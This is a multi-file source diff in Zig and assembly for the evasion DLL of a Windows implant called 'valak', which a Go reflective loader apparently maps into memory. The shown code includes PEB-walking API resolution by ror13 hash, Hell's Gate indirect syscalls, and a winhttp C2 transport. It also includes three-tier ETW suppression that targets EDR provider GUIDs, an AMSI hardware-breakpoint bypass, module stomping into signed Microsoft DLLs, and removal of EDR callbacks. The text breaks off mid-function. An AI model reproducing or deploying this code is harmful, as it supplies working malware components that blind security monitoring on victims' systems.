if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleA"))) |p| bof_get_module_handle_a = @ptrCast(p);
}
if (bof_virtual_alloc == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualAlloc"))) |p| bof_virtual_alloc = @ptrCast(p);
}
if (bof_virtual_free == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualFree"))) |p| bof_virtual_free = @ptrCast(p);
}
if (bof_virtual_protect == null or sleep_VirtualProtect == null or etw_virtual_protect == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualProtect"))) |p| {
if (bof_virtual_protect == null) bof_virtual_protect = @ptrCast(p);
if (sleep_VirtualProtect == null) sleep_VirtualProtect = @ptrCast(p);
if (etw_virtual_protect == null) etw_virtual_protect = @ptrCast(p);
}
}
if (amsi_add_vectored_exception_handler == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
}
if (amsi_get_current_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
}
if (amsi_set_thread_context == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
}
if (amsi_suspend_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
}
if (amsi_resume_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
}
// HWBP globals — same APIs as AMSI, shared
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;
// 2k. ntdll.dll — RtlGetVersion, SystemFunction032 (RC4 sleep)
if (info_rtl_get_version == null) {
if (resolve.resolve_api(ntdll_hash, hash_ror13("RtlGetVersion"))) |p| info_rtl_get_version = @ptrCast(p);
}
if (sleep_SystemFunction032 == null) {
if (resolve.resolve_api(ntdll_hash, hash_ror13("SystemFunction032"))) |p| sleep_SystemFunction032 = @ptrCast(p);
}
// 2l. winhttp.dll — HTTP/WebSocket C2 transport. Lazy-loaded on first comms attempt.
if (comms_load_library_a != null and (comms_winhttp_open == null or comms_winhttp_connect == null or comms_winhttp_open_request == null or comms_winhttp_send_request == null or comms_winhttp_receive_response == null or comms_winhttp_read_data == null or comms_winhttp_websocket_complete_upgrade == null)) {
_ = comms_load_library_a.?("winhttp.dll");
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpen"))) |p| comms_winhttp_open = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpConnect"))) |p| comms_winhttp_connect = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpenRequest"))) |p| comms_winhttp_open_request = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSetOption"))) |p| comms_winhttp_set_option = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSendRequest"))) |p| comms_winhttp_send_request = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReceiveResponse"))) |p| comms_winhttp_receive_response = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReadData"))) |p| comms_winhttp_read_data = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpCloseHandle"))) |p| comms_winhttp_close_handle = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpAddRequestHeaders"))) |p| comms_winhttp_add_request_headers = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpQueryDataAvailable"))) |p| comms_winhttp_query_data_available = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketCompleteUpgrade"))) |p| comms_winhttp_websocket_complete_upgrade = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketSend"))) |p| comms_winhttp_websocket_send = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketReceive"))) |p| comms_winhttp_websocket_receive = @ptrCast(p);
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketClose"))) |p| comms_winhttp_websocket_close = @ptrCast(p);
}
// 2i continued. advapi32 — LookupPrivilegeValueW, AdjustTokenPrivileges
const advapi_hash = hash_ror13("advapi32.dll");
if (priv_get_current_process == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcess"))) |p| priv_get_current_process = @ptrCast(p);
}
if (priv_lookup_privilege_value_w == null or priv_adjust_token_privileges == null) {
_ = resolve.get_module_by_hash(advapi_hash);
if (resolve.resolve_api(advapi_hash, hash_ror13("LookupPrivilegeValueW"))) |p| priv_lookup_privilege_value_w = @ptrCast(p);
if (resolve.resolve_api(advapi_hash, hash_ror13("AdjustTokenPrivileges"))) |p| priv_adjust_token_privileges = @ptrCast(p);
}
// 2m. bcrypt.dll — full ECDH + AES-GCM crypto suite. Loaded on first encrypt/decrypt.
if (crypto_bcrypt_open == null) {
if (resolve.get_module_by_hash(bcrypt_hash) == null) {
if (comms_load_library_a) |la| _ = la("bcrypt.dll");
}
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptOpenAlgorithmProvider"))) |p| crypto_bcrypt_open = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptCloseAlgorithmProvider"))) |p| crypto_bcrypt_close = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSetProperty"))) |p| crypto_bcrypt_set_prop = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateSymmetricKey"))) |p| crypto_bcrypt_gen_key = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroyKey"))) |p| crypto_bcrypt_destroy_key = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptEncrypt"))) |p| crypto_bcrypt_encrypt = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDecrypt"))) |p| crypto_bcrypt_decrypt = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenRandom"))) |p| crypto_bcrypt_gen_random = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateKeyPair"))) |p| crypto_bcrypt_gen_key_pair = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptFinalizeKeyPair"))) |p| crypto_bcrypt_finalize_key_pair = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptExportKey"))) |p| crypto_bcrypt_export_key = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptImportKeyPair"))) |p| crypto_bcrypt_import_key_pair = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSecretAgreement"))) |p| crypto_bcrypt_secret_agreement = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDeriveKey"))) |p| crypto_bcrypt_derive_key = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroySecret"))) |p| crypto_bcrypt_destroy_secret = @ptrCast(p);
}
}
+26
View File
@@ -0,0 +1,26 @@
.intel_syntax noprefix
.data
wSystemCallEnc: .long 0
qSyscallInsAddressEnc: .quad 0
wMask: .long 0xDEADBEEF
qMask: .quad 0xDEADBEEFDEADBEEF
.text
.global hells_gate
.global hell_descent
hells_gate:
xor ecx, dword ptr [rip + wMask]
mov dword ptr [rip + wSystemCallEnc], ecx
xor rdx, qword ptr [rip + qMask]
mov qword ptr [rip + qSyscallInsAddressEnc], rdx
ret
hell_descent:
mov r10, rcx
mov eax, dword ptr [rip + wSystemCallEnc]
xor eax, dword ptr [rip + wMask]
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
xor r11, qword ptr [rip + qMask]
jmp r11
+38
View File
@@ -0,0 +1,38 @@
// 1. Target config — x86_64-windows-gnu, optimised+stripped (unless Debug).
// 2. Single-threaded — no TLS, Zig runtime stays minimal.
// 3. Assembly: arch/hells_gate.s — Hell's Gate SSN encryption + Hell Descent arg dispatch.
// 4. Link system DLLs: kernel32, ntdll, advapi32, crypt32 (Go handles the rest via manual map).
// 5. Output: valak.dll — Go's reflective loader copies this from zig-out/bin/ to implant/core/.
const std = @import("std");
pub fn build(b: *std.Build) void {
const target = b.standardTargetOptions(.{ .default_target = .{
.cpu_arch = .x86_64,
.os_tag = .windows,
.abi = .gnu,
} });
const optimize = b.standardOptimizeOption(.{});
const strip = optimize != .Debug;
const module = b.createModule(.{
.root_source_file = b.path("main.zig"),
.target = target,
.optimize = optimize,
.strip = strip,
.single_threaded = true,
});
module.addAssemblyFile(b.path("arch/hells_gate.s"));
module.linkSystemLibrary("kernel32", .{});
module.linkSystemLibrary("ntdll", .{});
module.linkSystemLibrary("advapi32", .{});
module.linkSystemLibrary("crypt32", .{});
const lib = b.addLibrary(.{
.name = "valak",
.root_module = module,
.linkage = .dynamic,
});
lib.subsystem = .Windows;
b.installArtifact(lib);
}
+114
View File
@@ -0,0 +1,114 @@
// 3. ETW suppression — three-tier fallback.
// HWBP method reference: https://github.com/FortisecValidation/Micro-Stager
// 1. Global patch state + HWBP VEH handle + EtwEventWrite address cache.
// 2. etw_hwbp_handler — SINGLE_STEP at EtwEventWrite → skip the call, return clean.
// 3. try_hwbp_etw_bypass — installs VEH + DR0 breakpoint (no memory modification).
// 4. EDR provider GUIDs — Microsoft-Windows-Threat-Intelligence, Kernel-Process, Mitigations.
// 5. patch_etw — three-tier: NtTraceControl provider stop → HWBP → RET patch (last resort).
// First two avoid memory modifications; RET patch fires if everything else failed.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");
var g_etw_patched: bool = false;
var g_etw_hwbp_veh: ?*anyopaque = null;
var g_etw_event_write_addr: ?*anyopaque = null;
// Vectored exception handler for the HWBP method. When EtwEventWrite is hit, the CPU
// raises a single-step exception. We skip the call by forwarding RIP past it.
fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
{
// Skip EtwEventWrite: set RIP to return address on stack, pop it
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
ex.ContextRecord.Rip = ret_addr;
ex.ContextRecord.Rsp += 8;
return win.EXCEPTION_CONTINUE_EXECUTION;
}
return win.EXCEPTION_CONTINUE_SEARCH;
}
// Installs a VEH + hardware breakpoint on EtwEventWrite. No memory is modified — the BP
// is in a debug register, the handler skips the call. EDRs can't see the patch.
fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
const get_addr = api.etw_get_proc_address orelse return false;
var etw_write = get_addr(ntdll, "EtwEventWrite");
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
if (etw_write == null) return false;
g_etw_event_write_addr = etw_write;
const veh = api.hwbp_add_veh orelse return false;
const cur_thread = api.hwbp_get_thread orelse return false;
const set_ctx = api.hwbp_set_thread_ctx orelse return false;
g_etw_hwbp_veh = veh(1, etw_hwbp_handler);
if (g_etw_hwbp_veh == null) return false;
const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?);
ctx.Dr7 = (1 << 0);
_ = set_ctx(thread, &ctx);
return true;
}
// Known EDR ETW provider GUIDs. Stopping these silences telemetry from Windows Defender,
// MDE, and kernel-level process/syscall monitoring providers.
const edr_provider_guids = [_][16]u8{
// Microsoft-Windows-Threat-Intelligence
.{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
// Microsoft-Windows-Kernel-Process
.{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
// Microsoft-Windows-Security-Mitigations
.{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
};
// Three-tier fallback: stop EDR providers via NtTraceControl → hardware breakpoint on
// EtwEventWrite → RET patch as absolute last resort. Each tier avoids memory modification
// until the previous one fails. Returns early if already patched.
pub fn patch_etw() void {
if (g_etw_patched) return;
api.ensure();
_ = syscall.init_syscall();
// Tier 1: Stop known EDR ETW providers via NtTraceControl
var stopped_any = false;
for (&edr_provider_guids) |*guid| {
var ret_len: win.ULONG = 0;
const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len);
if (win.NT_SUCCESS(st)) {
stopped_any = true;
}
}
if (stopped_any) {
g_etw_patched = true;
return;
}
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
// Tier 2: Hardware breakpoint bypass — no memory modification
if (try_hwbp_etw_bypass(ntdll)) {
g_etw_patched = true;
return;
}
// Tier 3: RET patch fallback — writes 0xC3 into EtwEventWrite's first byte
const get_addr = api.etw_get_proc_address orelse return;
const vp = api.etw_virtual_protect orelse return;
var etw_write = get_addr(ntdll, "EtwEventWrite");
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
if (etw_write) |addr| {
var old: win.DWORD = 0;
_ = vp(addr, 1, win.PAGE_EXECUTE_READWRITE, &old);
@as(*volatile u8, @ptrCast(addr)).* = 0xC3;
_ = vp(addr, 1, old, &old);
}
g_etw_patched = true;
}
+58
View File
@@ -0,0 +1,58 @@
// 1. ensure() — resolve APIs + init syscall gadgets. Called before every export.
// 2. init_evasion() — called by Go reflective loader after DllMain.
// 3. patch_etw() — three-tier ETW: NtTraceControl → HWBP → RET patch.
// 4. patch_amsi() — HWBP on AmsiScanBuffer, no bytes modified.
// 5. stomp_evasion(base) — copy .text into signed MS DLL, wipe headers. base from Go.
// 6. is_relocated() — true if stomp moved us (Go uses this for honest logs).
// 7. remove_edr_callbacks() — NtSetInformationProcess(InfoClass=40) clears EDR callbacks.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
const syscall = @import("syscall.zig");
const amsi = @import("amsi.zig");
const etw = @import("etw.zig");
const stomp = @import("stomp.zig");
var g_initialized: bool = false;
// 1. one-time setup — resolves all API pointers and scans ntdll for syscall gadgets.
fn ensure() void {
if (g_initialized) return;
g_initialized = true;
api.ensure();
_ = syscall.init_syscall();
}
// 2. called by the Go loader after DllMain.
export fn init_evasion() void {
ensure();
}
// 3. three-tier — tries NtTraceControl first, then HWBP, then RET patch as last resort.
export fn patch_etw() void {
ensure();
etw.patch_etw();
}
// 4. hardware breakpoint on AmsiScanBuffer — no bytes touched in amsi.dll.
export fn patch_amsi() void {
ensure();
amsi.patch_amsi();
}
// 5. copies our .text into a signed Microsoft DLL, wipes our PE headers. base comes from Go.
export fn stomp_evasion(base: ?*anyopaque) void {
ensure();
_ = stomp.stomp_module(base);
}
// 6. returns true if stomp actually relocated us — Go uses this to be honest in logs.
export fn is_relocated() bool {
return stomp.g_evasion_relocated;
}
// 7. clears EDR kernel callbacks via NtSetInformationProcess(InfoClass=40). runs last.
export fn remove_edr_callbacks() void {
ensure();
syscall.remove_edr_callbacks();
}
+111
View File
@@ -0,0 +1,111 @@
// 1. IMAGE_DOS_HEADER — DOS MZ magic + e_lfanew offset.
// 2. IMAGE_FILE_HEADER — section count, machine type, timestamps.
// 3. IMAGE_DATA_DIRECTORY — export/import/etc directory RVAs.
// 4. IMAGE_OPTIONAL_HEADER64 — SizeOfImage@56 (not 36 — that bit us for hours).
// 5. IMAGE_SECTION_HEADER — .text, .data, .rdata layout per section.
// 6. IMAGE_EXPORT_DIRECTORY — name/function/ordinal tables for PE export parsing.
// 7. IMAGE_NT_HEADERS64 — signature + file_header + optional_header (the NT header triad).
pub const IMAGE_DOS_HEADER = extern struct {
e_magic: u16,
e_cblp: u16,
e_cp: u16,
e_crlc: u16,
e_cparhdr: u16,
e_minalloc: u16,
e_maxalloc: u16,
e_ss: u16,
e_sp: u16,
e_csum: u16,
e_ip: u16,
e_cs: u16,
e_lfarlc: u16,
e_ovno: u16,
e_res: [4]u16,
e_oemid: u16,
e_oeminfo: u16,
e_res2: [10]u16,
e_lfanew: i32,
};
pub const IMAGE_FILE_HEADER = extern struct {
Machine: u16,
NumberOfSections: u16,
TimeDateStamp: u32,
PointerToSymbolTable: u32,
NumberOfSymbols: u32,
SizeOfOptionalHeader: u16,
Characteristics: u16,
};
pub const IMAGE_DATA_DIRECTORY = extern struct {
VirtualAddress: u32,
Size: u32,
};
pub const IMAGE_OPTIONAL_HEADER64 = extern struct {
Magic: u16,
MajorLinkerVersion: u8,
MinorLinkerVersion: u8,
SizeOfCode: u32,
SizeOfInitializedData: u32,
SizeOfUninitializedData: u32,
AddressOfEntryPoint: u32,
BaseOfCode: u32,
ImageBase: u64,
SectionAlignment: u32,
FileAlignment: u32,
MajorOperatingSystemVersion: u16,
MinorOperatingSystemVersion: u16,
MajorImageVersion: u16,
MinorImageVersion: u16,
MajorSubsystemVersion: u16,
MinorSubsystemVersion: u16,
Win32VersionValue: u32,
SizeOfImage: u32,
SizeOfHeaders: u32,
CheckSum: u32,
Subsystem: u16,
DllCharacteristics: u16,
SizeOfStackReserve: u64,
SizeOfStackCommit: u64,
SizeOfHeapReserve: u64,
SizeOfHeapCommit: u64,
LoaderFlags: u32,
NumberOfRvaAndSizes: u32,
DataDirectory: [16]IMAGE_DATA_DIRECTORY,
};
pub const IMAGE_SECTION_HEADER = extern struct {
Name: [8]u8,
VirtualSize: u32,
VirtualAddress: u32,
SizeOfRawData: u32,
PointerToRawData: u32,
PointerToRelocations: u32,
PointerToLinenumbers: u32,
NumberOfRelocations: u16,
NumberOfLinenumbers: u16,
Characteristics: u32,
};
pub const IMAGE_EXPORT_DIRECTORY = extern struct {
Characteristics: u32,
TimeDateStamp: u32,
MajorVersion: u16,
MinorVersion: u16,
Name: u32,
Base: u32,
NumberOfFunctions: u32,
NumberOfNames: u32,
AddressOfFunctions: u32,
AddressOfNames: u32,
AddressOfNameOrdinals: u32,
};
pub const IMAGE_NT_HEADERS64 = extern struct {
Signature: u32,
FileHeader: IMAGE_FILE_HEADER,
OptionalHeader: IMAGE_OPTIONAL_HEADER64,
};
+201
View File
@@ -0,0 +1,201 @@
// PEB-based module and function resolution. No static imports — everything resolved at runtime.
// 1. Loader structs — LIST_ENTRY → PEB_LDR_DATA → LDR_DATA_TABLE_ENTRY (DllBase, name, size).
// 2. PEB (GS:[0x60]) + hash_ror13 — case-insensitive, same algo as Hell's Gate manual-map tooling.
// 3. get_peb() — inline asm to read GS:[0x60], returns PEB pointer.
// 4. get_module_by_hash — walk InMemoryOrderModuleList, match by ror13 hash.
// 5. resolve_forward_string — chase "DLL.func" forwarded exports through chain of modules.
// 6. get_func_by_hash — parse IMAGE_EXPORT_DIRECTORY, handle forwarded exports.
// 7. resolve_api — three-tier: specific module → kernel32 cache → ntdll cache → full PEB walk.
const std = @import("std");
const win = @import("win32.zig");
const pe = @import("pe.zig");
// Doubly-linked list node used by Windows loader structures.
// PEB_LDR_DATA chains these to track loaded modules in three orderings.
pub const LIST_ENTRY = extern struct {
Flink: *LIST_ENTRY,
Blink: *LIST_ENTRY,
};
// Loader data block hung off the PEB. Each module list is a circular linked list
// of LDR_DATA_TABLE_ENTRY nodes. InMemoryOrder is the safest to walk — InLoadOrder
// can race during DLL load/unload on other threads.
pub const PEB_LDR_DATA = extern struct {
Length: win.ULONG,
Initialized: win.BYTE,
Padding: [3]win.BYTE,
SsHandle: win.LPVOID,
InLoadOrderModuleList: LIST_ENTRY,
InMemoryOrderModuleList: LIST_ENTRY,
InInitializationOrderModuleList: LIST_ENTRY,
};
// One entry per loaded module. Contains the DLL base, image size, and its name.
// The InMemoryOrderLinks list_entry is embedded at a known offset from the struct start —
// we subtract that offset to get back to the full LDR_DATA_TABLE_ENTRY.
pub const LDR_DATA_TABLE_ENTRY = extern struct {
InLoadOrderLinks: LIST_ENTRY,
InMemoryOrderLinks: LIST_ENTRY,
InInitializationOrderLinks: LIST_ENTRY,
DllBase: win.LPVOID,
EntryPoint: win.LPVOID,
SizeOfImage: win.ULONG,
FullDllName: win.UNICODE_STRING,
BaseDllName: win.UNICODE_STRING,
};
// The Process Environment Block lives at GS:0x60 on x64.
// Only the fields we actually touch are defined — the real struct is much larger.
pub const PEB = extern struct {
Reserved1: [2]win.BYTE,
BeingDebugged: win.BYTE,
Reserved2: [1]win.BYTE,
Reserved3: [2]win.LPVOID,
Ldr: *PEB_LDR_DATA,
};
// ror13 hash of a module or function name. Case-insensitive — uppercases each byte before mixing.
// Same algorithm used by Hell's Gate and other manual-map tooling for consistency.
pub fn hash_ror13(input: []const u8) u32 {
var hash: u32 = 0;
for (input) |c| {
var c_upper = c;
if (c_upper >= 'a' and c_upper <= 'z') c_upper -= 32;
hash = (hash >> 13) | (hash << 19);
hash +%= c_upper;
}
return hash;
}
// Reads GS:[0x60] to return the PEB pointer.
pub fn get_peb() *PEB {
const ptr: usize = asm volatile ("mov %%gs:0x60, %[ptr]"
: [ptr] "=r" (-> usize),
);
return @as(*PEB, @ptrFromInt(ptr));
}
// Walks InMemoryOrderModuleList looking for a DLL whose ror13-hashed BaseDllName matches.
// Returns the module's base address or null if not found.
pub fn get_module_by_hash(hash: u32) ?*anyopaque {
const peb_ptr = get_peb();
const ldr = peb_ptr.Ldr;
// Walk the circular linked list starting from InMemoryOrderModuleList
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) {
// Subtract the offset of InMemoryOrderLinks to get back to the LDR_DATA_TABLE_ENTRY
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
if (le.BaseDllName.Length == 0) continue;
const buf = le.BaseDllName.Buffer;
const len = le.BaseDllName.Length / 2;
var mod_hash: u32 = 0;
var i: usize = 0;
while (i < len) : (i += 1) {
var c = buf[i];
if (c >= 'a' and c <= 'z') c -= 32;
mod_hash = (mod_hash >> 13) | (mod_hash << 19);
mod_hash +%= @as(u32, c);
}
if (mod_hash == hash) return le.DllBase;
}
return null;
}
// Follows a forwarded export string ("module.function") to resolve the real target.
// Splits on the dot, hashes both halves, looks up the module, then the function within it.
fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva)))));
const str = std.mem.sliceTo(forward_str, 0);
const dot_pos = std.mem.indexOfScalar(u8, str, '.') orelse return null;
const dll_hash = hash_ror13(str[0..dot_pos]);
const func_hash = hash_ror13(str[dot_pos + 1 ..]);
const dll_base = get_module_by_hash(dll_hash) orelse return null;
return get_func_by_hash(dll_base, func_hash);
}
// Parses a module's export directory, hashes each exported name, and returns the matching
// function address. Handles forwarded exports (looking-glass exports that redirect to another DLL).
pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
const base_bytes = @as([*]u8, @ptrCast(base));
const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return null;
const nt = @as(*pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != 0x00004550) return null;
const export_dir = nt.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return null;
const exp = @as(*pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null;
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));
var i: u32 = 0;
while (i < exp.NumberOfNames) : (i += 1) {
if (names[i] == 0) continue;
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
const name = std.mem.sliceTo(name_ptr, 0);
if (hash_ror13(name) == func_hash) {
const ordinal = ords[i];
if (ordinal >= exp.NumberOfFunctions) continue;
const rva = funcs[ordinal];
if (rva >= export_dir.VirtualAddress and rva < export_dir.VirtualAddress + export_dir.Size) {
return resolve_forward_string(base_bytes, rva);
}
return @as(*anyopaque, @ptrCast(base_bytes + @as(usize, @intCast(rva))));
}
}
return null;
}
var cached_kernel32: ?*anyopaque = null;
var cached_ntdll: ?*anyopaque = null;
// Three-tier lookup: specific module by hash → kernel32 → ntdll → full PEB module walk.
// Falls back to scanning every loaded module if the requested module isn't found or isn't loaded.
pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
if (module_hash != 0) {
if (get_module_by_hash(module_hash)) |base| {
if (get_func_by_hash(base, func_hash)) |f| return f;
}
}
if (cached_kernel32 == null) cached_kernel32 = get_module_by_hash(hash_ror13("kernel32.dll"));
if (cached_kernel32) |base| {
if (get_func_by_hash(base, func_hash)) |f| return f;
}
if (cached_ntdll == null) cached_ntdll = get_module_by_hash(hash_ror13("ntdll.dll"));
if (cached_ntdll) |base| {
if (get_func_by_hash(base, func_hash)) |f| return f;
}
const peb_ptr = get_peb();
const ldr = peb_ptr.Ldr;
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) {
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
if (cached_kernel32) |ck| if (le.DllBase == ck) continue;
if (cached_ntdll) |cn| if (le.DllBase == cn) continue;
if (get_func_by_hash(le.DllBase, func_hash)) |f| return f;
}
return null;
}
+131
View File
@@ -0,0 +1,131 @@
// 5. Module stomping — copies our .text into a signed MS DLL so EDR sees legit code.
// Reference: https://dtsec.us/2023-11-04-ModuleStompin/
// 1. Walk PEB InMemoryOrderModuleList, match CryptoAPI/dwrite/msvcp_win (case-insensitive).
// 2. Parse our PE headers to locate .text VirtualAddress + VirtualSize.
// 3. NtProtectVirtualMemory(target, RWX) — make target DLL writable.
// 4. memcpy — copy our .text bytes into target's image range.
// 5. NtProtectVirtualMemory(target, RX) — restore so memory scanners see normal permissions.
// 6. Zero our DOS header + NT headers — can't find what you can't parse.
// our_base comes from Go's reflective loader, not PEB — we mapped ourselves.
const std = @import("std");
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");
const pe = @import("pe.zig");
pub var g_evasion_relocated: bool = false;
// Core stomp flow: copies our .text into a target signed Microsoft DLL, then wipes our headers.
// our_base is the DLL base passed from the Go reflective loader (not PEB-discoverable).
// Targets are chosen from a shortlist of signed Microsoft DLLs that are always loaded in most processes.
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
const targets = [_][]const u8{ "CryptoAPI.dll", "dwrite.dll", "msvcp_win.dll" };
if (our_base == null) return null;
// Walk PEB to find a suitable signed Microsoft DLL target
const peb = resolve.get_peb();
const ldr = peb.Ldr;
const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
var target_base: ?*anyopaque = null;
var target_size: usize = 0;
var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) {
const le: *resolve.LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(resolve.LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;
// Match against our target shortlist (CryptoAPI, dwrite, msvcp_win)
if (target_base == null) {
const buf = le.BaseDllName.Buffer;
const len = le.BaseDllName.Length / 2;
for (targets) |target| {
if (target.len == len) {
var matches = true;
var ci: usize = 0;
while (ci < len) : (ci += 1) {
var c1 = buf[ci];
var c2 = target[ci];
if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
if (c1 != c2) { matches = false; break; }
}
if (matches) {
target_base = le.DllBase;
target_size = le.SizeOfImage;
break;
}
}
}
}
if (target_base != null) break;
}
if (target_base == null) return null;
// Parse our own PE to locate the .text section
const own_bytes = @as([*]u8, @ptrCast(our_base.?));
